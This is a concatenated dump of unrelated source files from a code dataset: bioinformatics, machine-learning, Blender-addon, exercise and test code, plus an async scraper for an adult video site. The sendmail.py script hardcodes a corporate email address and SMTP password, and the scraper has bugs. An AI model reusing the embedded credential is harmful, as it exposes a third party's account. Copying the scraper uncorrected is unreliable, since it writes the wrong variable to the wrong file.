self.model.get_audio_from_outputs(outputs)\n","sub_path":"sound_generator/sound_generator/ddsp_generator/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"52658735","text":"#!/usr/bin/env python\n#python 3\n#Contact, Adam Taranto, aptaranto@ucdavis.edu\n\n##########################################################################\n# Find soft-clipped alignments containing unassembled telomeric repeats. #\n##########################################################################\n\nimport os\nimport sys\nimport re\n\n__version__ = \"0.0.2\"\n\nclass Error (Exception): pass\n\ndef isfile(path):\n \"\"\"\n Test for existence of input file.\n \"\"\"\n path = os.path.abspath(path)\n if not os.path.isfile(path):\n print(\"Input file not found: %s\" % path)\n sys.exit(1)\n else:\n return path\n\ndef read_fai(fai):\n \"\"\"\n Import fasta index file. Return dict of sequence names and lengths.\n \"\"\"\n path = isfile(fai)\n # Init empty dict\n ContigDict = dict()\n # Read fai_file to dict\n with open(path, \"rU\") as f:\n for line in f.readlines():\n li = line.strip().split()\n ContigDict[li[0]]=int(li[1])\n return ContigDict\n\ndef addRevComplement(motifList):\n \"\"\"\n Take list of DNA motif strings and return unique set of strings and their reverse complements.\n \"\"\"\n revcompl = lambda x: ''.join([{'A': 'T', 'C': 'G', 'G': 'C', 'T': 'A', 'N':'N'}[B] for B in x][::-1])\n setList = list()\n for motif in motifList:\n setList.append(motif)\n setList.append(revcompl(motif))\n return set(setList)\n\ndef splitCIGAR(SAM_CIGAR):\n \"\"\"\n Split CIGAR string into list of tuples with format (len,operator)\n \"\"\"\n CIGARlist = list()\n for x in re.findall('[0-9]*[A-Z|=]',SAM_CIGAR):\n CIGARlist.append((int(re.findall('[0-9]*', x)[0]),re.findall('[A-Z]|=', x)[0]))\n #174M76S --> [(174,M),(76,S)]\n #96S154M --> [(96,S),(154,M)]\n return CIGARlist\n\ndef lenCIGAR(SAM_CIGAR):\n \"\"\"\n Calculate length of alignment in reference sequence as sum of \n match, read-deletion, splice, mismatch, and read-match block values.\n Ignore read-insertions, padding, hard and soft clip blocks.\n \"\"\"\n alnLen = 0\n CIGARlist = splitCIGAR(SAM_CIGAR)\n for x in CIGARlist: # i.e. = [(174,M),(76,S)]\n if x[1] in set(['D','M','N','X','=']):\n alnLen += x[0]\n #Ignore operators in set('P','H','S','I')\n return alnLen\n\ndef checkClips(SAM_CIGAR):\n \"\"\"\n Get lengths of soft-clipped blocks from either end of an alignment given a CIGAR string.\n \"\"\"\n leftClipLen = None\n rightClipLen = None\n CIGARlist = splitCIGAR(SAM_CIGAR)\n # Check if first segment is soft-clipped\n if CIGARlist[0][1] == \"S\" :\n leftClipLen = int(CIGARlist[0][0])\n # Check if last segment is soft-clipped\n if CIGARlist[-1][1] == \"S\" :\n rightClipLen = int(CIGARlist[-1][0])\n return (leftClipLen,rightClipLen)\n\ndef isClipMotif(samline,motifList,leftClip,rightClip,leftClipLen,rightClipLen):\n \"\"\"\n Extract terminal soft-clipped blocks from read sequence and test for presence of any DNA motif in motifList.\n \"\"\"\n clipSeq = list()\n SAM_SEQ = 9\n if leftClip:\n clipSeq.append(samline[SAM_SEQ][0:leftClipLen])\n if rightClip:\n clipSeq.append(samline[SAM_SEQ][-rightClipLen:])\n # True if either clipped end sequence contains at least one instance of any motif\n return any(s in x for s in motifList for x in clipSeq)\n\n\"\"\"\nCIGAR Operators\n--------------------\nD Deletion; the nucleotide is present in the reference but not in the read\nH Hard Clipping; the clipped nucleotides are not present in the read.\nI Insertion; the nucleotide is present in the read but not in the rference.\nM Match; can be either an alignment match or mismatch. The nucleotide is present in the reference.\nN Skipped region; a region of nucleotides is not present in the read\nP Padding; padded area in the read and not in the reference\nS Soft Clipping; the clipped nucleotides are present in the read\nX Read Mismatch; the nucleotide is present in the reference\n= Read Match; the nucleotide is present in the reference\n\nThe output order in the array is “MIDNSHP=X” followed by a field for the NM tag. If the NM tag is not present, this field will always be 0.\n\nM BAM_CMATCH 0\nI BAM_CINS 1\nD BAM_CDEL 2\nN BAM_CREF_SKIP 3\nS BAM_CSOFT_CLIP 4\nH BAM_CHARD_CLIP 5\nP BAM_CPAD 6\n= BAM_CEQUAL 7\nX BAM_CDIFF 8\nB BAM_CBACK 9\nNM NM tag 10 \n\"\"\"\n","sub_path":"teloclip/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"357276961","text":"import asyncio\nimport csv\nimport os\n\nfrom requests_html import HTMLSession\n\nsession = HTMLSession()\nids = None\nwriter = None\nfile_name = 'pornhub_nom_co.csv'\ncsv_header = ['id', 'title', 'time', 'url', 'type']\n\n\nasync def crawl_channels():\n \"\"\"\n 爬取 channel\n \"\"\"\n res = await async_get('http://www.pornhub.nom.co/channels/')\n channels = res.html.xpath(\"//ul[@class='simple-list simple-list--channels']/li/a\")\n results = []\n for channel in channels:\n count = int(channel.xpath(\"*/span[@class='counter']\")[0].text)\n attrs = channel.attrs\n name = attrs.get('title')\n if count != 0:\n url = attrs.get('href')\n fragments = []\n fragments = await crawl_fragments(url, name)\n print('爬取频道 {},应有毛片数量 {},实际数量 {}'.format(name, count, len(fragments)))\n results.extend(fragments)\n else:\n print('频道 {} 没有毛片')\n print('爬取完毕,共爬取到 {} 毛片'.format(len(results)))\n print('开始存入本地文件中')\n for f in results:\n video = await crawl_video(f['url'])\n id = video[0]\n f['id'] = id\n f['url'] = video[1]\n await write_video(f)\n print('写入完毕,文件位置 {}'.format(file_name))\n\n\nasync def write_video(video_info):\n id = video_info['id']\n if id not in ids:\n writer.writerow(f)\n ids.append(id)\n else:\n print('video', id, 'has existed')\n\n\nasync def crawl_fragments(start_url, type):\n \"\"\"\n 爬取 channel 下的毛片。\n 如果有分页,也会一直爬完。\n 使用队列,变递归为非递归\n \"\"\"\n urls = [start_url, ]\n fragments = []\n\n for u in urls:\n res = await async_get(u)\n content = res.html.xpath(\"//main[@class='main-col']/div[@class='main-inner-col inner-col']\")[0]\n items = content.xpath(\n \"*/div[@class='box-container']/div[@class='inner-box-container']/div[@class='row']/div[@class='item-col col']/div[@class='item-inner-col inner-col']/a[1]\")\n for item in items:\n attrs = item.attrs\n title = attrs.get('title')\n time = item.xpath(\"*/span[@class='image']/span[@class='time']\")[0].text\n f_url = attrs.get('href')\n fragments.append({\n 'title': title,\n 'time': time,\n 'url': f_url,\n 'type': type\n })\n # 判断是否还有下一页\n next = content.xpath(\n \"*/nav[@class='pagination-col col pagination']/div[@class='pagination-inner-col inner-col']/a[@class='next']\")\n # 使用url队列,变递归为非递归\n if (len(next) == 1):\n urls.append(*next[0].absolute_links)\n return fragments\n\n\nasync def crawl_video(url):\n \"\"\"\n 爬取 video 的真正地址,分为两步\n 第一步,进入到上面的播放页面,由于播放器是使用的 iframe 嵌套,仍需找到真正的播放页面\n 第二步,进入真正播放器的页面,找打video地址\n \"\"\"\n res = await async_get(url)\n iframe_url = res.html.xpath(\"//iframe/@src\")[0]\n id = iframe_url[iframe_url.rfind('/') + 1:]\n res = await async_get(iframe_url)\n video_url = res.html.xpath(\"//video/source[@res='480']/@src\")[0]\n return (id, video_url)\n\n\nasync def async_get(url):\n \"\"\"\n 将 get 请求封装为非阻塞\n :param url:\n :return:\n \"\"\"\n temp_loop = asyncio.get_event_loop()\n response = await temp_loop.run_in_executor(None, session.get, url)\n return response\n\n\nif __name__ == '__main__':\n print(\"开始爬取,请稍后,时间会较长\")\n is_exist = os.path.exists(file_name)\n if is_exist:\n with open(file_name) as f:\n reader = csv.DictReader(f)\n ids = [row['id'] for row in reader]\n else:\n ids = []\n\n with open('a.csv', 'a+', newline='') as f:\n writer = csv.DictWriter(f, csv_header)\n if not is_exist:\n writer.writeheader()\n loop = asyncio.get_event_loop()\n # loop.run_until_complete(crawl_video('http://www.pornhub.nom.co/video/naughty-america-lacey-channing-250.html'))\n # loop.run_until_complete(crawl_fragments('http://www.pornhub.nom.co/channels/8/blowjobs/', 'blowjobs'))\n loop.run_until_complete(crawl_channels())\n print('完毕,退出程序')\n","sub_path":"pornhub_nom_co/channels.py","file_name":"channels.py","file_ext":"py","file_size_in_byte":4398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"282566900","text":"#!/usr/bin/python3\n\"\"\"\nmultiple a matrix using numpy\n\"\"\"\nimport numpy as np\n\n\ndef lazy_matrix_mul(m_a, m_b):\n \"\"\"\n multiple two matrix withe different size\n exemple:\n A = [[1, 2], [2, 3]] * [[1, 2], [2, 3]]\n A = [[7, 10], [15, 22]]\n\n B = [[1, 1]] * [[1, 1]]\n B = [1, 1]\n \"\"\"\n if type(m_a) != list:\n raise TypeError(\"m_a must be a list\")\n if type(m_b) != list:\n raise TypeError(\"m_b must be a list\")\n\n if type(m_a) == list and type(m_a[0]) == list:\n row_size_a = len(m_a[0])\n if type(m_b) == list and type(m_b[0]) == list:\n row_size_b = len(m_b[0])\n\n for i in m_a:\n if type(i) != list:\n raise TypeError(\"m_a must be a list of lists\")\n if len(m_a) == 0 or len(i) == 0:\n raise ValueError(\"m_a can't be empty\")\n if len(i) != row_size_a:\n raise TypeError(\"each row of m_a must be of the same size\")\n for j in i:\n if type(j) not in [float, int]:\n raise TypeError(\"m_a should contain only integers or floats\")\n for i in m_b:\n if type(i) != list:\n raise TypeError(\"m_b must be a list of lists\")\n if len(m_b) == 0 or len(i) == 0:\n raise ValueError(\"m_b can't be empty\")\n if len(i) != row_size_b:\n raise TypeError(\"each row of m_b must be of the same size\")\n for j in i:\n if type(j) not in [float, int]:\n raise TypeError(\"m_b should contain only integers or floats\")\n A = np.array(m_a)\n B = np.array(m_b)\n new = np.matmul(A, B)\n return new\n","sub_path":"0x07-python-test_driven_development/101-lazy_matrix_mul.py","file_name":"101-lazy_matrix_mul.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"440383029","text":"import torch\n\nclass LanguageModelingLossCompute:\n \" A Loss compute and train function for language modeling tasks.\"\n def __init__(self, lm_criterion, opt=None):\n self.lm_criterion = lm_criterion\n self.opt = opt\n\n # def __call__(self, X, Y, M, clf_logits, lm_logits=None, only_return_losses=False):\n def __call__(self, X, Y, M, lm_logits, only_return_losses=False):\n # Language modeling loss\n x_shifted = X[:, 1:, 0].contiguous().view(-1)\n M = M.view(-1, M.size(-1))\n lm_losses = self.lm_criterion(lm_logits, x_shifted)\n lm_losses = lm_losses.view(X.size(0), X.size(-2) - 1)\n lm_losses = lm_losses * M[:, 1:]\n lm_losses = lm_losses.sum(1) / torch.sum(M[:, 1:], 1)\n if only_return_losses:\n return lm_losses\n\n train_loss = lm_losses.sum()\n train_loss.backward()\n if self.opt is not None:\n self.opt.step()\n self.opt.zero_grad()\n return train_loss.item()\n","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"588714619","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport sys, getopt\nimport argparse\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.header import Header\nfrom email.utils import formataddr\nimport smtplib\n\ndef sending(receivers,subject,content,attach):\n sender = 'jumpserver@idongjia.cn'\n password = 'aS7WSGwEJBtwh4re'\n message = MIMEMultipart()\n #message['From'] = Header(\"数据组\", 'utf-8')\n #message['To'] = Header(\"拍卖\", 'utf-8')\n message['From'] = formataddr([\"数据组\",sender])\n\n message['To'] = formataddr([\"数据组成员\",receivers])\n\n message['Subject'] = Header(subject, 'utf-8')\n\n message.attach(MIMEText(content+u'\\n\\n\\n超级无敌通知系统2018.04.18','plain', 'utf-8'))\n if attach is not None:\n print (attach)\n att1 = MIMEText(open(attach, 'rb').read(), 'base64', 'utf-8')\n att1[\"Content-Type\"] = 'application/octet-stream'\n att1[\"Content-Disposition\"] = 'attachment; '+'filename='+attach\n message.attach(att1)\n try:\n server=smtplib.SMTP_SSL(\"smtp.exmail.qq.com\", 465)\n server.login(sender, password)\n server.sendmail(sender,receivers,message.as_string())\n print (\"邮件发送成功\")\n except smtplib.SMTPException:\n print (\"Error: 无法发送邮件\")\n\ndef main(argv):\n parser = argparse.ArgumentParser()\n parser.add_argument('--target', '-T',\n type=str, \n help='mail_to_those_target_adresss: --target a@qq.com b@qq.com',\n nargs='+',\n default=['shuju@idongjia.cn'])\n parser.add_argument('--subject','-S',\n type=str,\n help='the subject of the mail',\n nargs=1,\n default=['job_failed'])\n\n parser.add_argument('--content','-C',\n type=str,\n help='content for the mail',\n nargs=1,\n default=[''])\n\n parser.add_argument('--attach','-A',\n type=str,\n help='attachment for the mail: --attach /data/myfile.txt',\n nargs=1,\n default=[None])\n\n args = parser.parse_args()\n print (args.target,args.subject,args.attach,args.content)\n\n sending(args.target,args.subject[0],args.content[0],args.attach[0])\n\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"utils/sendmail.py","file_name":"sendmail.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"128957315","text":"class Solution:\n def canVisitAllRooms(self, rooms):\n \"\"\"\n :type rooms: List[List[int]]\n :rtype: bool\n \"\"\"\n self.visited = [False for i in range(len(rooms))]\n self.rooms = rooms\n # Start from room 0\n self.visitRoom(0)\n return all(self.visited)\n #return False if False in self.visited else True\n\n def visitRoom(self, curr):\n self.visited[curr] = True\n for keys_to in self.rooms[curr]:\n if not self.visited[keys_to]:\n self.visitRoom(keys_to)\n\n\nprint (Solution().canVisitAllRooms([[1],[2],[3],[]]))\nprint (Solution().canVisitAllRooms([[1,3],[3,0,1],[2],[0]]))","sub_path":"leet/keysAndRooms.py","file_name":"keysAndRooms.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"37195612","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n# \n\nbl_info = {\n \"name\": \"Hotkey: 'O'\",\n \"description\": \"Proportional Object/Edit Tools\",\n \"author\": \"pitiwazou, meta-androcto\",\n \"version\": (0, 1, 1),\n \"blender\": (2, 80, 0),\n \"location\": \"3D View Object & Edit modes\",\n \"warning\": \"\",\n \"wiki_url\": \"\",\n \"category\": \"Proportional Edit Pie\"\n }\n\nimport bpy\nfrom bpy.types import (\n Menu,\n Operator,\n )\n\n\n# Proportional Edit Object\nclass ProportionalEditObj(Operator):\n bl_idname = \"proportional_obj.active\"\n bl_label = \"Proportional Edit Object\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n\n if ts.use_proportional_edit_objects is True:\n ts.use_proportional_edit_objects = False\n\n elif ts.use_proportional_edit_objects is False:\n ts.use_proportional_edit_objects = True\n\n return {'FINISHED'}\n\n\nclass ProportionalSmoothObj(Operator):\n bl_idname = \"proportional_obj.smooth\"\n bl_label = \"Proportional Smooth Object\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.use_proportional_edit_objects is False:\n ts.use_proportional_edit_objects = True\n ts.proportional_edit_falloff = 'SMOOTH'\n\n if ts.proportional_edit_falloff != 'SMOOTH':\n ts.proportional_edit_falloff = 'SMOOTH'\n return {'FINISHED'}\n\n\nclass ProportionalSphereObj(Operator):\n bl_idname = \"proportional_obj.sphere\"\n bl_label = \"Proportional Sphere Object\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.use_proportional_edit_objects is False:\n ts.use_proportional_edit_objects = True\n ts.proportional_edit_falloff = 'SPHERE'\n\n if ts.proportional_edit_falloff != 'SPHERE':\n ts.proportional_edit_falloff = 'SPHERE'\n return {'FINISHED'}\n\n\nclass ProportionalRootObj(Operator):\n bl_idname = \"proportional_obj.root\"\n bl_label = \"Proportional Root Object\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.use_proportional_edit_objects is False:\n ts.use_proportional_edit_objects = True\n ts.proportional_edit_falloff = 'ROOT'\n\n if ts.proportional_edit_falloff != 'ROOT':\n ts.proportional_edit_falloff = 'ROOT'\n return {'FINISHED'}\n\n\nclass ProportionalSharpObj(Operator):\n bl_idname = \"proportional_obj.sharp\"\n bl_label = \"Proportional Sharp Object\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.use_proportional_edit_objects is False:\n ts.use_proportional_edit_objects = True\n ts.proportional_edit_falloff = 'SHARP'\n\n if ts.proportional_edit_falloff != 'SHARP':\n ts.proportional_edit_falloff = 'SHARP'\n return {'FINISHED'}\n\n\nclass ProportionalLinearObj(Operator):\n bl_idname = \"proportional_obj.linear\"\n bl_label = \"Proportional Linear Object\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.use_proportional_edit_objects is False:\n ts.use_proportional_edit_objects = True\n ts.proportional_edit_falloff = 'LINEAR'\n\n if ts.proportional_edit_falloff != 'LINEAR':\n ts.proportional_edit_falloff = 'LINEAR'\n return {'FINISHED'}\n\n\nclass ProportionalConstantObj(Operator):\n bl_idname = \"proportional_obj.constant\"\n bl_label = \"Proportional Constant Object\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.use_proportional_edit_objects is False:\n ts.use_proportional_edit_objects = True\n ts.proportional_edit_falloff = 'CONSTANT'\n\n if ts.proportional_edit_falloff != 'CONSTANT':\n ts.proportional_edit_falloff = 'CONSTANT'\n return {'FINISHED'}\n\n\nclass ProportionalRandomObj(Operator):\n bl_idname = \"proportional_obj.random\"\n bl_label = \"Proportional Random Object\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.use_proportional_edit_objects is False:\n ts.use_proportional_edit_objects = True\n ts.proportional_edit_falloff = 'RANDOM'\n\n if ts.proportional_edit_falloff != 'RANDOM':\n ts.proportional_edit_falloff = 'RANDOM'\n return {'FINISHED'}\n\n\n# Proportional Edit Edit Mode\nclass ProportionalEditEdt(Operator):\n bl_idname = \"proportional_edt.active\"\n bl_label = \"Proportional Edit EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n\n if ts.proportional_edit != ('DISABLED'):\n ts.proportional_edit = 'DISABLED'\n elif ts.proportional_edit != ('ENABLED'):\n ts.proportional_edit = 'ENABLED'\n return {'FINISHED'}\n\n\nclass ProportionalConnectedEdt(Operator):\n bl_idname = \"proportional_edt.connected\"\n bl_label = \"Proportional Connected EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.proportional_edit != ('CONNECTED'):\n ts.proportional_edit = 'CONNECTED'\n return {'FINISHED'}\n\n\nclass ProportionalProjectedEdt(Operator):\n bl_idname = \"proportional_edt.projected\"\n bl_label = \"Proportional projected EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n\n if ts.proportional_edit != ('PROJECTED'):\n ts.proportional_edit = 'PROJECTED'\n return {'FINISHED'}\n\n\nclass ProportionalSmoothEdt(Operator):\n bl_idname = \"proportional_edt.smooth\"\n bl_label = \"Proportional Smooth EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.proportional_edit == 'DISABLED':\n ts.proportional_edit = 'ENABLED'\n ts.proportional_edit_falloff = 'SMOOTH'\n\n if ts.proportional_edit_falloff != 'SMOOTH':\n ts.proportional_edit_falloff = 'SMOOTH'\n return {'FINISHED'}\n\n\nclass ProportionalSphereEdt(Operator):\n bl_idname = \"proportional_edt.sphere\"\n bl_label = \"Proportional Sphere EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.proportional_edit == 'DISABLED':\n ts.proportional_edit = 'ENABLED'\n ts.proportional_edit_falloff = 'SPHERE'\n\n if ts.proportional_edit_falloff != 'SPHERE':\n ts.proportional_edit_falloff = 'SPHERE'\n return {'FINISHED'}\n\n\nclass ProportionalRootEdt(Operator):\n bl_idname = \"proportional_edt.root\"\n bl_label = \"Proportional Root EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.proportional_edit == 'DISABLED':\n ts.proportional_edit = 'ENABLED'\n ts.proportional_edit_falloff = 'ROOT'\n\n if ts.proportional_edit_falloff != 'ROOT':\n ts.proportional_edit_falloff = 'ROOT'\n return {'FINISHED'}\n\n\nclass ProportionalSharpEdt(Operator):\n bl_idname = \"proportional_edt.sharp\"\n bl_label = \"Proportional Sharp EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.proportional_edit == 'DISABLED':\n ts.proportional_edit = 'ENABLED'\n ts.proportional_edit_falloff = 'SHARP'\n\n if ts.proportional_edit_falloff != 'SHARP':\n ts.proportional_edit_falloff = 'SHARP'\n return {'FINISHED'}\n\n\nclass ProportionalLinearEdt(Operator):\n bl_idname = \"proportional_edt.linear\"\n bl_label = \"Proportional Linear EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.proportional_edit == 'DISABLED':\n ts.proportional_edit = 'ENABLED'\n ts.proportional_edit_falloff = 'LINEAR'\n\n if ts.proportional_edit_falloff != 'LINEAR':\n ts.proportional_edit_falloff = 'LINEAR'\n return {'FINISHED'}\n\n\nclass ProportionalConstantEdt(Operator):\n bl_idname = \"proportional_edt.constant\"\n bl_label = \"Proportional Constant EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.proportional_edit == 'DISABLED':\n ts.proportional_edit = 'ENABLED'\n ts.proportional_edit_falloff = 'CONSTANT'\n\n if ts.proportional_edit_falloff != 'CONSTANT':\n ts.proportional_edit_falloff = 'CONSTANT'\n return {'FINISHED'}\n\n\nclass ProportionalRandomEdt(Operator):\n bl_idname = \"proportional_edt.random\"\n bl_label = \"Proportional Random EditMode\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ts = context.tool_settings\n if ts.proportional_edit == 'DISABLED':\n ts.proportional_edit = 'ENABLED'\n ts.proportional_edit_falloff = 'RANDOM'\n\n if ts.proportional_edit_falloff != 'RANDOM':\n ts.proportional_edit_falloff = 'RANDOM'\n return {'FINISHED'}\n\n\n# Pie ProportionalEditObj - O\nclass PieProportionalObj(Menu):\n bl_idname = \"pie.proportional_obj\"\n bl_label = \"Pie Proportional Obj\"\n\n def draw(self, context):\n layout = self.layout\n pie = layout.menu_pie()\n # 4 - LEFT\n pie.operator(\"proportional_obj.sphere\", text=\"Sphere\", icon='SPHERECURVE')\n # 6 - RIGHT\n pie.operator(\"proportional_obj.root\", text=\"Root\", icon='ROOTCURVE')\n # 2 - BOTTOM\n pie.operator(\"proportional_obj.smooth\", text=\"Smooth\", icon='SMOOTHCURVE')\n # 8 - TOP\n pie.prop(context.tool_settings, \"use_proportional_edit_objects\", text=\"Proportional On/Off\")\n # 7 - TOP - LEFT\n pie.operator(\"proportional_obj.linear\", text=\"Linear\", icon='LINCURVE')\n # 9 - TOP - RIGHT\n pie.operator(\"proportional_obj.sharp\", text=\"Sharp\", icon='SHARPCURVE')\n # 1 - BOTTOM - LEFT\n pie.operator(\"proportional_obj.constant\", text=\"Constant\", icon='NOCURVE')\n # 3 - BOTTOM - RIGHT\n pie.operator(\"proportional_obj.random\", text=\"Random\", icon='RNDCURVE')\n\n\n# Pie ProportionalEditEdt - O\nclass PieProportionalEdt(Menu):\n bl_idname = \"pie.proportional_edt\"\n bl_label = \"Pie Proportional Edit\"\n\n def draw(self, context):\n layout = self.layout\n pie = layout.menu_pie()\n # 4 - LEFT\n pie.operator(\"proportional_edt.connected\", text=\"Connected\", icon='PROP_CON')\n # 6 - RIGHT\n pie.operator(\"proportional_edt.projected\", text=\"Projected\", icon='PROP_ON')\n # 2 - BOTTOM\n pie.operator(\"proportional_edt.smooth\", text=\"Smooth\", icon='SMOOTHCURVE')\n # 8 - TOP\n pie.operator(\"proportional_edt.active\", text=\"Proportional On/Off\", icon='PROP_ON')\n # 7 - TOP - LEFT\n pie.operator(\"proportional_edt.sphere\", text=\"Sphere\", icon='SPHERECURVE')\n # 9 - TOP - RIGHT\n pie.operator(\"proportional_edt.root\", text=\"Root\", icon='ROOTCURVE')\n # 1 - BOTTOM - LEFT\n pie.operator(\"proportional_edt.constant\", text=\"Constant\", icon='NOCURVE')\n # 3 - BOTTOM - RIGHT\n pie.menu(\"pie.proportional_more\", text=\"More\", icon='LINCURVE')\n\n\n# Pie ProportionalEditEdt - O\nclass PieProportionalMore(Menu):\n bl_idname = \"pie.proportional_more\"\n bl_label = \"Pie Proportional More\"\n\n def draw(self, context):\n layout = self.layout\n pie = layout.menu_pie()\n box = pie.split().column()\n box.operator(\"proportional_edt.linear\", text=\"Linear\", icon='LINCURVE')\n box.operator(\"proportional_edt.sharp\", text=\"Sharp\", icon='SHARPCURVE')\n box.operator(\"proportional_edt.random\", text=\"Random\", icon='RNDCURVE')\n\n\nclasses = (\n ProportionalEditObj,\n ProportionalSmoothObj,\n ProportionalSphereObj,\n ProportionalRootObj,\n ProportionalSharpObj,\n ProportionalLinearObj,\n ProportionalConstantObj,\n ProportionalRandomObj,\n ProportionalEditEdt,\n ProportionalConnectedEdt,\n ProportionalProjectedEdt,\n ProportionalSmoothEdt,\n ProportionalSphereEdt,\n ProportionalRootEdt,\n ProportionalSharpEdt,\n ProportionalLinearEdt,\n ProportionalConstantEdt,\n ProportionalRandomEdt,\n PieProportionalObj,\n PieProportionalEdt,\n PieProportionalMore,\n )\n\naddon_keymaps = []\n\n\ndef register():\n for cls in classes:\n bpy.utils.register_class(cls)\n\n wm = bpy.context.window_manager\n if wm.keyconfigs.addon:\n # ProportionalEditObj\n km = wm.keyconfigs.addon.keymaps.new(name='Object Mode')\n kmi = km.keymap_items.new('wm.call_menu_pie', 'O', 'PRESS')\n kmi.properties.name = \"pie.proportional_obj\"\n addon_keymaps.append((km, kmi))\n\n # ProportionalEditEdt\n km = wm.keyconfigs.addon.keymaps.new(name='Mesh')\n kmi = km.keymap_items.new('wm.call_menu_pie', 'O', 'PRESS')\n kmi.properties.name = \"pie.proportional_edt\"\n addon_keymaps.append((km, kmi))\n\n\ndef unregister():\n for cls in classes:\n bpy.utils.unregister_class(cls)\n\n wm = bpy.context.window_manager\n kc = wm.keyconfigs.addon\n if kc:\n for km, kmi in addon_keymaps:\n km.keymap_items.remove(kmi)\n addon_keymaps.clear()\n\n\nif __name__ == \"__main__\":\n register()\n","sub_path":"engine/2.80/scripts/addons/space_view3d_pie_menus/pie_proportional_menu.py","file_name":"pie_proportional_menu.py","file_ext":"py","file_size_in_byte":14420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"524196033","text":"import enolib\n\nfrom tests.util import snapshot\n\ninput = '''\n> comment\n\nfield: value\n\nlist:\n- item\n\n> comment\n- item\n\nfieldset:\nentry = value\n\n> comment\nentry = value\n\ncopied_field < field\ncopied_fieldset < fieldset\ncopied_list < list\n\n# section\n\n> comment\n-- empty\n-- empty\n\n-- multiline\nvalue\nvalue\n-- multiline\n\ncopied_multiline < multiline\n\n## subsection\n## copy < subsection\n'''.strip()\n\nSNIPPET_PADDING_WIDTH = 3\nSNIPPET_PADDING = '▓' * SNIPPET_PADDING_WIDTH\n\n# The + ' ' before closing SNIPPET_PADDING represents the last cursor\n# (there is always one cursor index more than there are chars in a string)\nsnippet_input = SNIPPET_PADDING + input.replace('\\n', '⏎').replace('\\t', '⇥').replace(' ', '␣') + ' ' + SNIPPET_PADDING\n\ndef snippet(index):\n index += SNIPPET_PADDING_WIDTH\n\n return (\n snippet_input[index - SNIPPET_PADDING_WIDTH : index] +\n ' ' + snippet_input[index] + ' ' +\n snippet_input[index + 1 : index + SNIPPET_PADDING_WIDTH + 1]\n )\n\ndef test_lookup():\n column = 0\n line = 0\n\n summary = '\\nINDEX SNIPPET KEY RANGE\\n\\n'\n\n for index in range(0, len(input) + 1):\n index_lookup = enolib.lookup(input, index=index)\n line_column_lookup = enolib.lookup(input, line=line, column=column)\n\n if index_lookup['range'] != line_column_lookup['range']:\n raise AssertionError(f\"Lookup by index produced a different range ({index_lookup['range']}) than by line/column ({line_column_lookup['range']})\")\n\n if index_lookup['element'].string_key() != line_column_lookup['element'].string_key():\n raise AssertionError(f\"Lookup by index produced a different key ({index_lookup['element'].string_key()}) than by line/column ({line_column_lookup['element'].string_key()})\")\n\n key = 'document' if index_lookup['element'].string_key() is None else index_lookup['element'].string_key()\n summary += f\"{str(index).ljust(5)} 